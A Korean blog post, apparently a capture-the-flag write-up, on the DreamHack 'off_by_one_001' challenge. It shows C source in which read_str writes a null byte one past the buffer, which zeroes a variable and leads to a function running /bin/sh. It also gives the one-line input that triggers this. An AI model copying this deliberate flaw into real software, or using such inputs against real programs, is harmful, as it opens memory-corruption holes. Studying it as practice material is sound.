[DreamHack] off_by_one_001
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
누가봐도 read_str에서 펑펑, 이건 poc 코드를 안짜도, 그냥 name에 20개 넘개 보내고, 숫자 1만 넣어도 된다.
> AAAAAAAAAAAAAAAAAAAA1
'Best of Best' 카테고리의 다른 글
윈도우 커널 디버깅을 통해 메모장을 해킹 해보자! with WinDbg (1) | 2024.07.11 |
---|---|
[DreamHack] Format string bug (0) | 2024.07.11 |
[DreamHack] cmd_center (0) | 2024.07.11 |
[DreamHack] out_of_bound (0) | 2024.07.11 |
[DreamHack] Return Address Overwrite (1) | 2024.07.09 |
댓글
이 글 공유하기
다른 글
-
윈도우 커널 디버깅을 통해 메모장을 해킹 해보자! with WinDbg
윈도우 커널 디버깅을 통해 메모장을 해킹 해보자! with WinDbg
2024.07.11 -
[DreamHack] Format string bug
[DreamHack] Format string bug
2024.07.11 -
[DreamHack] cmd_center
[DreamHack] cmd_center
2024.07.11 -
[DreamHack] out_of_bound
[DreamHack] out_of_bound
2024.07.11